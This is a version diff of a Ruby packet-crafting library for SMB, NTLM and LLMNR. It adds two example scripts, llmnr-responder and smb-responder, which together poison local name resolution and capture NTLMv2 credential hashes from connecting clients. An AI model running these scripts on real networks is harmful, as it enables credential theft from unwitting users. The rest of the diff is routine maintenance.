packetgen-plugin-smb 0.5.0 → 0.6.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (57) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/specs.yml +28 -0
  3. data/.rubocop.yml +26 -2
  4. data/Gemfile +15 -0
  5. data/README.md +51 -12
  6. data/Rakefile +10 -4
  7. data/examples/llmnr-responder +110 -0
  8. data/examples/smb-responder +233 -0
  9. data/lib/packetgen/plugin/gssapi.rb +16 -10
  10. data/lib/packetgen/plugin/llmnr.rb +4 -4
  11. data/lib/packetgen/plugin/netbios/datagram.rb +3 -3
  12. data/lib/packetgen/plugin/netbios/name.rb +4 -4
  13. data/lib/packetgen/plugin/netbios/session.rb +5 -5
  14. data/lib/packetgen/plugin/netbios.rb +2 -0
  15. data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
  16. data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
  17. data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
  18. data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
  19. data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
  20. data/lib/packetgen/plugin/ntlm.rb +211 -0
  21. data/lib/packetgen/plugin/smb/blocks.rb +2 -2
  22. data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -2
  23. data/lib/packetgen/plugin/smb/browser/host_announcement.rb +2 -2
  24. data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -2
  25. data/lib/packetgen/plugin/smb/browser.rb +2 -2
  26. data/lib/packetgen/plugin/smb/close/request.rb +2 -2
  27. data/lib/packetgen/plugin/smb/close/response.rb +2 -2
  28. data/lib/packetgen/plugin/smb/close.rb +2 -2
  29. data/lib/packetgen/plugin/smb/filetime.rb +10 -2
  30. data/lib/packetgen/plugin/smb/negotiate/dialect.rb +7 -0
  31. data/lib/packetgen/plugin/smb/negotiate/request.rb +7 -0
  32. data/lib/packetgen/plugin/smb/negotiate/response.rb +9 -3
  33. data/lib/packetgen/plugin/smb/negotiate.rb +2 -2
  34. data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
  35. data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +4 -4
  36. data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +2 -2
  37. data/lib/packetgen/plugin/smb/string.rb +60 -23
  38. data/lib/packetgen/plugin/smb/trans/request.rb +3 -3
  39. data/lib/packetgen/plugin/smb/trans/response.rb +2 -2
  40. data/lib/packetgen/plugin/smb/trans.rb +2 -2
  41. data/lib/packetgen/plugin/smb.rb +12 -12
  42. data/lib/packetgen/plugin/smb2/base.rb +3 -3
  43. data/lib/packetgen/plugin/smb2/error.rb +3 -4
  44. data/lib/packetgen/plugin/smb2/guid.rb +4 -3
  45. data/lib/packetgen/plugin/smb2/negotiate/context.rb +3 -3
  46. data/lib/packetgen/plugin/smb2/negotiate/request.rb +3 -5
  47. data/lib/packetgen/plugin/smb2/negotiate/response.rb +9 -7
  48. data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
  49. data/lib/packetgen/plugin/smb2/session_setup/request.rb +9 -5
  50. data/lib/packetgen/plugin/smb2/session_setup/response.rb +10 -6
  51. data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
  52. data/lib/packetgen/plugin/smb2.rb +3 -3
  53. data/lib/packetgen/plugin/smb_version.rb +3 -1
  54. data/lib/packetgen-plugin-smb.rb +3 -2
  55. data/packetgen-plugin-smb.gemspec +8 -10
  56. metadata +21 -84
  57. data/.travis.yml +0 -12
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 7aaeb4b048754ed60fdb9f88a6d82dec247a993056617765e48e047d312d0962
4
- data.tar.gz: 9c5da64aa7a58e9e7971554cdf435c08b085e2b63f81bacd9d36a19e9b610ac5
3
+ metadata.gz: 81c44249205f74086ef6aa53ed5bae0b9cc4d988cbc32ed6280c389e222dfaa6
4
+ data.tar.gz: fa0c225d0bac37bf479969a2bd2a968309aacb1eb06d986d5784c99bde35575e
5
5
  SHA512:
6
- metadata.gz: e261d4a050ed4a8ed34a51d106bacc519279256bc95bb75e0998947c6365bf008f4f7e43103b9f86b9526efafd0ee18e5cdb1f9f260fe94e052b309555552b50
7
- data.tar.gz: 1c1e0fa328e1272a45ab699168b8cc246df7bf4520f4e2a82d2378ff89706e308dfbd57f50ecd1567800e905959a2672bce3756d1e1d6a59c8838198ae4dde92
6
+ metadata.gz: 6f6834ace18bbb690025a2856be929abfa8355e218eaa66e67c76cbd0ce3711a55836d99a77d5a598d36a433b6c6ae0355103a91a726520f7204aa7494e40359
7
+ data.tar.gz: 6e87dddb4fcf4e5e4c6e534402321bc11d8e1c53b4f1fcba535ccf443ea42f6a17c1ed9935108cd066cc7fb522064f9ba43aff3b3e0aa49589ef58b0e67987b8
@@ -0,0 +1,28 @@
1
+ name: Specs
2
+ on:
3
+ push:
4
+ branches: [ master ]
5
+ pull_request:
6
+ branches: [ master ]
7
+ jobs:
8
+ test:
9
+ strategy:
10
+ fail-fast: false
11
+ matrix:
12
+ os: [ubuntu-latest]
13
+ ruby: ['2.5', '2.6', '2.7', '3.0', '3.1']
14
+ runs-on: ${{ matrix.os }}
15
+ steps:
16
+ - uses: actions/checkout@v2
17
+ - name: Install dependencies
18
+ run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
19
+ - name: Set up Ruby
20
+ uses: ruby/setup-ruby@v1
21
+ with:
22
+ ruby-version: ${{ matrix.ruby }}
23
+ - name: Run tests
24
+ run: |
25
+ bundle config set path 'vendor/bundle'
26
+ bundle config set --local without noci
27
+ bundle install
28
+ bundle exec rake
data/.rubocop.yml CHANGED
@@ -1,15 +1,39 @@
1
+ require:
2
+ - rubocop-performance
3
+ AllCops:
4
+ TargetRubyVersion: '2.5'
5
+ NewCops: enable
6
+ Exclude:
7
+ - .git/**/*
8
+ - spec/**/*
9
+ - vendor/**/*
10
+ Layout/LineLength:
11
+ Enabled: false
1
12
  Layout/SpaceAroundEqualsInParameterDefault:
2
13
  EnforcedStyle: no_space
3
14
  Lint/EmptyWhen:
4
15
  Enabled: false
5
16
  Lint/Void:
6
17
  Enabled: false
7
- Metrics:
18
+ Metrics/AbcSize:
19
+ Max: 20
20
+ Metrics/ClassLength:
21
+ Max: 200
22
+ Metrics/MethodLength:
23
+ Max: 20
24
+ Metrics/ParameterLists:
25
+ MaxOptionalParameters: 4
26
+ Naming/FileName:
27
+ Enabled: false
28
+ Style/AccessModifierDeclarations:
8
29
  Enabled: false
9
30
  Style/AsciiComments:
10
31
  Enabled: false
11
32
  Style/ClassAndModuleChildren:
12
33
  Enabled: false
34
+ Style/Documentation:
35
+ # Too many false positives!
36
+ Enabled: false
13
37
  Style/Encoding:
14
38
  Enabled: false
15
39
  Style/EvalWithLocation:
@@ -17,7 +41,7 @@ Style/EvalWithLocation:
17
41
  Style/FormatString:
18
42
  EnforcedStyle: percent
19
43
  Style/FormatStringToken:
20
- EnforcedStyle: unannotated
44
+ MaxUnannotatedPlaceholdersAllowed: 3
21
45
  Style/PerlBackrefs:
22
46
  Enabled: false
23
47
  Style/RedundantSelf:
data/Gemfile CHANGED
@@ -1,3 +1,18 @@
1
+ # frozen_string_literal: true
2
+
1
3
  source 'https://rubygems.org'
2
4
 
3
5
  gemspec
6
+
7
+ gem 'bundler', '>=1.17', '<3'
8
+ gem 'rake', '~> 12.3'
9
+ gem 'rspec', '~> 3.10'
10
+
11
+ group :noci do
12
+ gem 'debase', '~>0.2'
13
+ gem 'rubocop', '~> 1.6.0'
14
+ gem 'rubocop-performance', '~> 1.9'
15
+ gem 'ruby-debug-ide', '~> 0.7'
16
+ gem 'simplecov', '~> 0.18'
17
+ gem 'yard', '~> 0.9'
18
+ end
data/README.md CHANGED
@@ -1,22 +1,26 @@
1
1
  [![Gem Version](https://badge.fury.io/rb/packetgen-plugin-smb.svg)](https://badge.fury.io/rb/packetgen-plugin-smb)
2
- [![Build Status](https://travis-ci.com/sdaubert/packetgen-plugin-smb.svg?branch=master)](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
3
2
 
4
3
  # Packetgen::Plugin::SMB
5
4
 
6
5
  This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
7
6
 
7
+ * NetBIOS:
8
+ * Datagram service,
9
+ * Session service,
8
10
  * SMB:
9
- * SMB common header,
10
- * Close command,
11
- * NtCreateAndX command,
12
- * Trans command,
13
- * Browser subprotocol,
11
+ * SMB common header,
12
+ * Negotiate command,
13
+ * Close command,
14
+ * NtCreateAndX command,
15
+ * Trans command,
16
+ * Browser subprotocol,
14
17
  * SMB2:
15
- * SMB2 common header (support 2.x and 3.x dialects),
16
- * Negotiate command,
17
- * SessionSetup command,
18
- * GSSAPI, used to transport negotiation over SMB2 commands.
19
-
18
+ * SMB2 common header (support 2.x and 3.x dialects),
19
+ * Negotiate command,
20
+ * SessionSetup command,
21
+ * GSSAPI, used to transport negotiation over SMB2 commands,
22
+ * NTLM, SMB authentication protocol,
23
+ * LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
20
24
 
21
25
  ## Installation
22
26
 
@@ -36,7 +40,42 @@ Or install it yourself as:
36
40
 
37
41
  ## Usage
38
42
 
39
- TODO
43
+ ### SMB2 with NTLM negociation
44
+
45
+ See [examples/smb-responder](/examples/smb-responder).
46
+
47
+ ### LLMNR
48
+
49
+ LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
50
+
51
+ ```ruby
52
+ require 'socket'
53
+ require 'packetgen'
54
+ require 'packetgen-plugin-smb'
55
+
56
+ LLMNR_MCAST_ADDR = '224.0.0.252'
57
+ LOCAL_IPADDR = 'x.x.x.x' # your IP
58
+
59
+ # Open a UDP socket
60
+ socket = UDPSocket.new
61
+ # Bind it to receive LLMNR response packets
62
+ socket.bind(LOCAL_IPADDR, 0)
63
+
64
+ # Send a LLMNR query
65
+ query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
66
+ query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
67
+ socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
68
+
69
+ # Get answer
70
+ # data = socket.recv(1024)
71
+ data, peer = socket.recvfrom(1024)
72
+ answer = PacketGen.parse(data, first_header: 'LLMNR')
73
+ example_local_ip = answer.llmnr.an.to_a
74
+ .find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
75
+ puts example_local_ip
76
+ ```
77
+
78
+ You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
40
79
 
41
80
  ## See also
42
81
 
data/Rakefile CHANGED
@@ -1,13 +1,19 @@
1
+ # frozen_string_literal: true
1
2
 
2
3
  require 'bundler/gem_tasks'
3
4
  require 'rspec/core/rake_task'
4
- require 'yard'
5
5
 
6
6
  task default: :spec
7
7
 
8
8
  RSpec::Core::RakeTask.new
9
9
 
10
- YARD::Rake::YardocTask.new do |t|
11
- t.options = ['--no-private']
12
- t.files = ['lib/**/*.rb', '-', 'LICENSE']
10
+ begin
11
+ require 'yard'
12
+
13
+ YARD::Rake::YardocTask.new do |t|
14
+ t.options = ['--no-private']
15
+ t.files = ['lib/**/*.rb', '-', 'LICENSE']
16
+ end
17
+ rescue LoadError
18
+ # no yard, so no yard task
13
19
  end
@@ -0,0 +1,110 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a LLMNR responder. It responds to all LLMNR
8
+ # requests on local network, and says requested name is its IP address.
9
+
10
+ # frozen_string_literal: true
11
+
12
+ require 'optparse'
13
+ require 'socket'
14
+ require 'ipaddr'
15
+
16
+ require 'packetgen'
17
+ require 'packetgen-plugin-smb'
18
+
19
+ BIND_ADDR = '0.0.0.0'
20
+
21
+ class LlmnrResponder
22
+ attr_reader :socket, :my_ip, :my_ip_data
23
+
24
+ LLMNR_MCAST_ADDR = '224.0.0.252'
25
+
26
+ def initialize
27
+ @socket = UDPSocket.new
28
+ end
29
+
30
+ def start(bind_addr:, iface:)
31
+ @my_ip = Interfacez.ipv4_address_of(iface)
32
+ @my_ip_data = IPAddr.new(my_ip).hton
33
+ configure_multicast(my_ip_data)
34
+
35
+ socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
36
+
37
+ start_loop
38
+ end
39
+
40
+ private
41
+
42
+ def log(str)
43
+ puts "[LLMNR] #{str}"
44
+ end
45
+
46
+ def configure_multicast(local_ip_bin)
47
+ mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
48
+ socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
49
+ end
50
+
51
+ def start_loop
52
+ loop do
53
+ data, peer = socket.recvfrom(1024)
54
+ pkt = PacketGen.parse(data, first_header: 'LLMNR')
55
+ next unless pkt.is?('LLMNR')
56
+
57
+ peer_port = peer[1]
58
+ peer_ip = peer[3]
59
+ log "received LLMNR request from #{peer_ip}"
60
+
61
+ # Forge LLMNR response
62
+ response_pkt = pkt.reply
63
+ response_pkt.llmnr.qr = true
64
+ response_pkt.llmnr.qd.each do |question|
65
+ next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
66
+
67
+ log "Say to #{peer_ip} #{question.name} is #{my_ip}"
68
+ answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
69
+ response_pkt.llmnr.an << answer
70
+ end
71
+ response_pkt.calc
72
+
73
+ next unless response_pkt.llmnr.ancount > 0
74
+
75
+ socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
76
+ end
77
+ end
78
+ end
79
+
80
+ def parse_options
81
+ options = {}
82
+
83
+ OptionParser.new do |opts|
84
+ opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
85
+ opts.separator ''
86
+ opts.separator 'Options:'
87
+
88
+ opts.on_tail('-h', '--help', 'Show this message') do
89
+ puts opts
90
+ exit
91
+ end
92
+
93
+ opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
94
+ options[:iface] = iface
95
+ end
96
+ end.parse!
97
+
98
+ options
99
+ end
100
+
101
+ def check_options(options)
102
+ raise 'No interface given' if options[:iface].nil?
103
+ raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
104
+ end
105
+
106
+ options = parse_options
107
+
108
+ check_options options
109
+
110
+ LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
@@ -0,0 +1,233 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a SMB responder. It responds to all SMB
8
+ # Negotiate request to capture credentials.
9
+ # Before running it (as root), llmnr-responder should be running.
10
+
11
+ # frozen_string_literal: true
12
+
13
+ require 'socket'
14
+ require 'securerandom'
15
+ require 'ostruct'
16
+
17
+ require 'packetgen'
18
+ require 'packetgen-plugin-smb'
19
+
20
+ BIND_ADDR = '0.0.0.0'
21
+
22
+ DOMAIN_NAME = 'SMB3'
23
+ COMPUTER_NAME = 'WIN-AZE546CFHTD'
24
+
25
+ Thread.abort_on_exception = true
26
+
27
+ Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
28
+ def to_s
29
+ user = self.user.encode('UTF-8')
30
+ computer = self.computer.encode('UTF-8')
31
+ str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
32
+ str << "Challenge: #{challenge}\nProof: #{proof}\n"
33
+ str << "Response: #{response}"
34
+ end
35
+ end
36
+
37
+ class Smb2Responder
38
+ attr_reader :socket, :guid, :salt
39
+
40
+ NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
41
+ STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
42
+ STATUS_ACCESS_DENIED = 0xc0000022
43
+
44
+ SMB2_SIZE = 8_388_608
45
+ SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
46
+ SMB2_SALT_LEN = 32
47
+
48
+ def initialize
49
+ @guid = SecureRandom.uuid
50
+ @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
51
+ end
52
+
53
+ def start(bind_addr:)
54
+ @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
55
+
56
+ start_loop
57
+ end
58
+
59
+ private
60
+
61
+ def log(str)
62
+ puts "[SMB2] #{str}"
63
+ end
64
+
65
+ def get_smb_data(sock)
66
+ PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
67
+ end
68
+
69
+ def smb2_nego_resp1
70
+ return @resp1_pkt if defined? @resp1_pkt
71
+
72
+ @resp1_pkt = PacketGen.gen('NetBIOS::Session')
73
+ .add('SMB2', credit: 1)
74
+ .add('SMB2::Negotiate::Response',
75
+ dialect: 0x2ff,
76
+ server_guid: guid, capabilities: 7,
77
+ max_trans_size: SMB2_SIZE,
78
+ max_read_size: SMB2_SIZE,
79
+ max_write_size: SMB2_SIZE)
80
+ @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
81
+ @resp1_pkt.calc
82
+ @resp1_pkt
83
+ end
84
+
85
+ def first_nego_response
86
+ pkt = smb2_nego_resp1
87
+ pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
88
+ pkt
89
+ end
90
+
91
+ def second_nego_response(req_pkt)
92
+ smb2_req = req_pkt.smb2
93
+ nego_req = req_pkt.smb2_negotiate_request
94
+
95
+ pkt = PacketGen.gen('NetBIOS::Session')
96
+ .add('SMB2',
97
+ credit: 1,
98
+ message_id: smb2_req.message_id,
99
+ reserved: smb2_req.reserved)
100
+ .add('SMB2::Negotiate::Response',
101
+ dialect: nego_req.dialects.last,
102
+ server_guid: guid,
103
+ capabilities: 0x2f,
104
+ max_trans_size: SMB2_SIZE,
105
+ max_read_size: SMB2_SIZE,
106
+ max_write_size: SMB2_SIZE,
107
+ system_time: PacketGen::Plugin::SMB::Filetime.now,
108
+ buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
109
+
110
+ pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
111
+ pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
112
+
113
+ pkt.smb2_negotiate_response.context_list << { type: 2 }
114
+ pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
115
+ pkt.calc
116
+ pkt
117
+ end
118
+
119
+ def first_session_setup_response(req_pkt)
120
+ smb2_req = req_pkt.smb2
121
+ setup_req = req_pkt.smb2_sessionsetup_request
122
+ ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
123
+
124
+ pkt = PacketGen.gen('NetBIOS::Session')
125
+ .add('SMB2',
126
+ credit_charge: 1,
127
+ credit: 1,
128
+ status: STATUS_MORE_PROCESSING_REQUIRED,
129
+ message_id: smb2_req.message_id,
130
+ reserved: smb2_req.reserved)
131
+ .add('SMB2::SessionSetup::Response')
132
+
133
+ ntlm = PacketGen::Plugin::NTLM::Challenge.new
134
+ ntlm.flags = ntlm_nego.flags | 0x00810000
135
+ ntlm.flags &= 0xfdffff15
136
+ ntlm.challenge = [rand(2**64)].pack('q<')
137
+ ntlm.target_name.read('SMB3')
138
+ ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
139
+ ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
140
+ ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
141
+ ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
142
+ ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
143
+ ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
144
+ ntlm.target_info << { type: 'EOL' }
145
+ ntlm.calc_length
146
+
147
+ gssapi = pkt.smb2_sessionsetup_response.buffer
148
+ gssapi[:token_resp][:response].value = ntlm.to_s
149
+ gssapi[:token_resp][:negstate].value = 'accept-incomplete'
150
+ gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
151
+
152
+ pkt.calc
153
+
154
+ [pkt, ntlm.challenge]
155
+ end
156
+
157
+ def deny_access(req_pkt)
158
+ smb2_req = req_pkt.smb2
159
+ pkt = PacketGen.gen('NetBIOS::Session')
160
+ .add('SMB2',
161
+ credit: 1,
162
+ credit_charge: 1,
163
+ status: STATUS_ACCESS_DENIED,
164
+ message_id: smb2_req.message_id,
165
+ reserved: smb2_req.reserved)
166
+ .add('SMB2::SessionSetup::Response')
167
+ # Remove buffer
168
+ pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
169
+ pkt.calc
170
+ pkt
171
+ end
172
+
173
+ def start_loop
174
+ loop do
175
+ client = socket.accept
176
+ to_close = false
177
+
178
+ log "connection from #{client.peeraddr[2]}"
179
+
180
+ credentials = Credentials.new
181
+ credentials.ip = client.peeraddr.last
182
+
183
+ until to_close
184
+ rcv_pkt = get_smb_data(client)
185
+
186
+ pkt_to_send = case rcv_pkt.headers.last.protocol_name
187
+ when 'SMB::Negotiate::Request'
188
+ unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
189
+ to_close = true
190
+ nil
191
+ end
192
+
193
+ first_nego_response
194
+
195
+ when 'SMB2::Negotiate::Request'
196
+ second_nego_response rcv_pkt
197
+
198
+ when 'SMB2::SessionSetup::Request'
199
+ gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
200
+ if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
201
+ pkt, challenge = first_session_setup_response(rcv_pkt)
202
+ credentials.challenge = binary2hex(challenge)
203
+ pkt
204
+ else
205
+ response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
206
+ if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
207
+ credentials.proof = binary2hex(response.nt_response.response)
208
+ credentials.user = response.user_name
209
+ credentials.computer = response.workstation
210
+ credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
211
+ to_close = true
212
+ deny_access rcv_pkt
213
+ else
214
+ to_close = true
215
+ nil
216
+ end
217
+ end
218
+ end
219
+
220
+ client.send(pkt_to_send.to_s, 0) if pkt_to_send
221
+ client.close if to_close
222
+
223
+ puts credentials.to_s unless credentials.response.nil?
224
+ end
225
+ end
226
+ end
227
+
228
+ def binary2hex(str)
229
+ str.unpack('H*').first
230
+ end
231
+ end
232
+
233
+ Smb2Responder.new.start(bind_addr: BIND_ADDR)
@@ -1,10 +1,10 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of packetgen-plugin-smb.
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  require 'rasn1'
9
9
 
10
10
  module PacketGen::Plugin
@@ -61,6 +61,8 @@ module PacketGen::Plugin
61
61
  # gssapi[:token_resp][:response] #=> RASN1::Types::OctetString
62
62
  # @author Sylvain Daubert
63
63
  class GSSAPI < RASN1::Model
64
+ include PacketGen::Types::Fieldable
65
+
64
66
  # GSS API Negotiation Token Init
65
67
  #
66
68
  # A GSSAPI Negotiation Token Init is a ASN.1 SEQUENCE, explicitly tagged 0,
@@ -94,14 +96,18 @@ module PacketGen::Plugin
94
96
  octet_string(:mech_list_mic, explicit: 3, class: :context, constructed: true, optional: true)]
95
97
  end
96
98
 
99
+ class NegTokenInitEnvelop < RASN1::Model
100
+ sequence(:init, implicit: 0, class: :application,
101
+ content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
102
+ model(:token_init, NegTokenInit)])
103
+ end
104
+
97
105
  choice :gssapi,
98
- content: [sequence(:init, implicit: 0, class: :application,
99
- content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
100
- model(:token_init, NegTokenInit)]),
106
+ content: [model(:init_env, NegTokenInitEnvelop),
101
107
  model(:token_resp, NegTokenResp)]
102
108
 
103
109
  # @param [Hash] args
104
- # @param [Symbol] :type +:init+ or +:response+ to force selection of
110
+ # @option args [Symbol] :token +:init+ or +:response+ to force selection of
105
111
  # token CHOICE.
106
112
  def initialize(args={})
107
113
  token = args.delete(:token)
@@ -113,14 +119,14 @@ module PacketGen::Plugin
113
119
  # @param [String] str
114
120
  # @return [self]
115
121
  def read(str)
122
+ return self if str.nil?
123
+
116
124
  parse!(str, ber: true)
117
125
  self
118
126
  end
119
127
 
120
- # Get size of GSSAPI DER string, in bytes
121
- # @return [Integer]
122
- def sz
123
- to_der.size
128
+ def to_human
129
+ inspect
124
130
  end
125
131
 
126
132
  alias to_s to_der
@@ -1,10 +1,10 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of packetgen-plugin-smb.
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  module PacketGen::Plugin
9
9
  # Link-Local Multicast Name Resolution (LLMNR) header ({https://tools.ietf.org/html/rfc4795 RFC 4795}).
10
10
  # @author Sylvain Daubert
@@ -43,13 +43,13 @@ module PacketGen::Plugin
43
43
  ip.dst = dst unless dst.nil?
44
44
  ip.ttl = 1 if ip[:dst].mcast?
45
45
 
46
- # rubocop:disable Lint/HandleExceptions
46
+ # rubocop:disable Lint/SuppressedException
47
47
  begin
48
48
  llh = ll_header(self)
49
49
  llh.dst = MAC_IPV4_MCAST if ip[:dst].mcast?
50
50
  rescue PacketGen::FormatError
51
51
  end
52
- # rubocop:enable Lint/HandleExceptions
52
+ # rubocop:enable Lint/SuppressedException
53
53
  end
54
54
  end
55
55
  PacketGen::Header.add_class LLMNR
@@ -1,15 +1,15 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of PacketGen
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  module PacketGen::Plugin
9
9
  # Module to group all NetBIOS headers
10
10
  # @author Sylvain Daubert
11
11
  module NetBIOS
12
- # NetBIOS Session Service messages.
12
+ # NetBIOS Datagram Service messages.
13
13
  # @author Sylvain Daubert
14
14
  class Datagram < PacketGen::Header::Base
15
15
  # Give protocol name
@@ -1,13 +1,13 @@
1
+ # frozen_string_literal: true
2
+
1
3
  # This file is part of PacketGen
2
4
  # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
3
5
  # Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
4
6
  # This program is published under MIT license.
5
7
 
6
- # frozen_string_literal: true
7
-
8
8
  module PacketGen::Plugin
9
- # Module to group all NetBIOS headers
10
- # @author Sylvain Daubert
9
+ # Module to group all NetBIOS headers
10
+ # @author Sylvain Daubert
11
11
  module NetBIOS
12
12
  # NetBIOS Name.
13
13
  # @author Sylvain Daubert